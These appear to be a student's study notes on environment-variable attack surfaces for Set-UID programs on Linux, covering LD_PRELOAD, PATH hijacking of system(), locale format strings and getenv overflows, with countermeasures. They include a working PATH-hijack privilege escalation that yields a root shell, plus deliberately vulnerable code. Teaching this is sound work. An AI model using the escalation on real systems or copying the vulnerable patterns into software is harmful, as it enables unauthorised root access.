Attack via Dynamic Linker

Since the ENV variables are "hidden", they are extremely dangerous.
Indeed, any users can set environment vars and therefore they become part of attack surface on Set-UID programs.

The following picture summarize the attack surface created by ENV vars.
Pasted image 20250514161004.png

Linking is an important stage since it finds the external library code referenced in the program and links such code to the program.

It can be done at

  • compiling time, so called static linking
  • running time, so called dynamic linking

Since dynamic linking use ENV variables to operate, they can be exploited to compromise Set-UID programs.

Static Linking

In this case, the linker combines the program's code and the library code containing the referenced function and all the functions it depends on.
In this way, the executable is self-contained, without any missing code.
The size of the static compiled program is bigger than the a dynamic compiled program.

CONS

  • Huge executable that must be all passed into memory.
  • Duplicate data of the library function code.
  • Update on libraries does not propagate to such program.
#ldd shows the shared libraries a program depends on
$ ldd hello_static
	not a dynamic executable

Dynamic Linking

In this case, the linking is performed during runtime. The libraries that support dynamic linking are called shared libraries.

Steps:

  1. Loading: Before a program compiled with dynamic linking is run, its executable is loaded into the memory first.
  2. After the loading, the loader passes the control to dynamic linker (which is a shared library itself), which finds the implementations of the referenced functions and link them to the executable.
  3. Then, the main() function can be executed

Pasted image 20250515143147.png

#ldd shows the shared libraries a program depends on
$ ldd hello_dynamic
	linux-gate.so.1 => (0xb774b000) #for system calls, needed by all program
	libc.so.6 => /lib/i836-linux-gnu/libc.so.6 (0xb758b000) #libc library 
	/lib/ld-linux.so.2 (0xb774c000) #dynamic linker which is a shared library

CONS

Despite dynamic linking saves memory, with this linking part of the program's code is undecided during the compilation time (where devs have full control).
Indeed, the missing code is decided during runtime, when users, who might be naughty, are in control. This could compromise the integrity pf privileged program.

Case Study: LD_PRELOAD & LD_LIBRARY_PATH

The dynamic linker searches some default folders for the library functions used by program. However, users can specify additional search places using LD_PRELOAD and LD_LIBRARY_PATH ENV vars.

  • LD_PRELOAD contains. a list of shared libraries which will be searched first by the linker
  • If not all functions are found, the linker will search among several lists of folder including the one specifies by LD_LIBRARY_PATH

Since they are ENV vars, they can be set by users and this gives them the opportunity to control the outcome of the linking process.
This is a problem in the context of Set-UID program.

Example with Normal Program

Suppose we have an file mytest.c that calls sleep function, which is dynamically linked.

We implement our own sleep() function:

#include <stdio.h>
/* sleep.c */

void sleep(int s){
	printf("Not sleeping!\n");
}

We need to:

  • compile the code
  • create a shared library
  • add the shared library created to the LD_PRELOAD env var
bisca@ubuntu:$ gcc -c sleep.c
bisca@ubuntu:$ gcc -shared -o libmylib.so.1.0.1 sleep.o
bisca@ubuntu:$ LD_PRELOAD = ./libmylib.so.1.0.1 # add export to pass to all created shells
bisca@ubuntu:$ ./mytest
Not sleeping! #Our library get invoked
bisca@ubuntu:$ unset LD_PRELOAD
bisca@ubuntu:$ ./mytest
bisca@ubuntu:$ 

Example with Set-UID Program
Let's try with mytest as Set-UID program.

bisca@ubuntu:$ sudo chown root mytest
bisca@ubuntu:$ sudo chmod 4755 mytest
bisca@ubuntu:$ LD_PRELOAD = ./libmylib.so.1.0.1 # add export to pass to all created shells
bisca@ubuntu:$ ./mytest
bisca@ubuntu:$

WHY???
This is due to the countermeasure implemented by the dynamic linker: it ignores LD_PRELOAD and LD_LIBRARY_PATH ENV vars when EUID and RUID differ

Attacks via External Program

A program may invoke an external program and even though the application may not use ENV vars, the invoked program might.

There's 2 approaches:

  • exec() family of functions, which call execve() and run the program directly
  • system() create a child by fork() and it uses execve() to run /bin/sh and eventually the shell created runs the program.
    So, the attack surfaces differ for these approaches.

Case Study: PATH ENV Variable

Shell programs behavior is affected by many ENV vars, such as PATH var.
As said before, if a shell runs a command and the absolute path is not provided, it uses the PATH Env var to locate the command.

Example

We firstly consider the following code (vul.c).

#include <stdlib.h>

int main (){
	system("cal");
}

Here we want to execute the cal program, but since no absolute path is provided, by manipulating the PATH env var, we can force the execution of another program.

Let's create a malicious program called cal to.

int main(){
	system("/bin/dash")
}

Suppose that, vul is a Set-UID Program

#No attack
bisca@ubuntu:$ vul 
bisca@ubuntu:$ 
	December 
....

Now we set the PATH value with the current directory.

bisca@ubuntu:$ export PATH=.$PATH 
bisca@ubuntu:$ vul
#From now on we are in a root shell
root@ubunutu: id 
uid=1000(seed) .. euid=0(root)

Reduce Attack Surface

Compare to system(), execve()'s attack surface is smaller, since execve() does not invoke a shell.

Important

Therefore, in privileged program, we should choose execve() function.

Attacks via Library

Programs often use functions form external libraries. If these functions use env vars, they add to the attack surface.

Case Study: Locale in UNIX

Locale subsystem is a set of databases and library functions.
The databases store language and country-specific information.
The function are used to store, retrieve and manage such information.

When a program needs to display a message to user, it may want to display the massage in user's native language.
So, every time a message needs to be printed out, the program that use the provided library functions to ask the corresponding translated message.

To do so, in Unix we use gettext() and caropen() in the libc library.

int main(int argc, char** argv){
	if(argc > 1){
		printf(gettext("Usage %s filename"),argv[0]);
	}
	printf("Normal exec...");
}

Since Locale subsystem needs to know the user''s language as well as where to find the databases, it relies on the following env vars:

  • LANG
  • LANGUAGE
  • NLSPATH
  • LOCPATH
  • LC_ALL
  • MESSAGES

As usual, env vars can be set by users, so the result of gettext() can be manipulated. By exploiting the format string vulnerabilities, attackers can take the control of a possible privileged program.

Countermeasure

The countermeasure lies with the library author: there might be some check within the library code.

Attacks via Application Code

Programs may directly use env vars. This is clearly a possible attack surface.

Case Study: getenv() on Application Code

Suppose we want to save the information of the PWD env var into an array, without checking the input length before the copy (this means potential buffer overflow)

/* prog.c */
#include <stdio.h>
#include <stdlib.h>

int main(void){
	char arr[64];
	char *ptr;

	ptr = getenv("PWD"); // Used to know the current directory
	if(ptr != NULL){
		sprintf(arr,"Present working directory is: %s",ptr); //Copy
		printf("%s\n"arr);
	}
	return 0;
}

PWD env var contains the name of the folder from where the process starts. This value comes from the shell program.

So, when we change folders, the shell program keeps updating its shell variable PWD. However, users can change the shell variable ourselves.

Example
$ pwd
/home/seed/temp 
$ echo $PWD
/home/seed/temp 

$ cd ..
$ echo $PWD
/home/seed

$ cd /
$ echo $PWD
/

$ PWD = xyz
$ pwd 
/
$ echo $PWD
xyz

Therefore, when a command is executed from the shell, a new process will be created and the shell will set the new process's env var PWD using its shell var PWD.

Countermeasure

When env vars are used by Set-UID programs, they must be sanitized properly.
Devs, may choose a more secure version of getenv(), such as secure_getenv(), which works as the not safe one, but it returns NULL when "secure execution" (EUID and RUI don't match) is required.